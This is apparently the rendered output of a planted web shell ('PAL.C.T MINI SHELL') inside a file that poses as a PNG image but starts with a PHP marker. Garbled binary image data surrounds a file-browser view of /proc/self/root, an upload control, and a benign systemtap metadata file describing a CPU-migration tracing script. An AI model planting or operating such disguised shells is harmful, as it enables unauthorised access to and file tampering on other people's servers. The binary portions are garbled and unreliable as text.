php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/doc/systemtap-client-2.9/examples/process/
upload
files >> //proc/self/root/usr/share/doc/systemtap-client-2.9/examples/process/chng_cpu.meta

title: Monitor Changes in Processor Executing a Task
name: chng_cpu.stp
version: 1.0
author: Ankita Garg at IBM
keywords: scheduler
subsystem: scheduler
status: production
exit: user-controlled
output: trace
scope: process
description: The chng_cpu.stp script takes an argument which is the executable name of the task it should monitor. Each time a task with that executable name is found running on a different processor, the script prints out the thread id (tid), the executable name, the processor now running the task, the thread state, and a backtrace showing the kernel functions that triggered the running of the task on the processor.
arg_1: The name of the executable to monitor
test_check: stap -p4 chng_cpu.stp bash
test_installcheck: stap chng_cpu.stp -c "sleep 1" bash
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`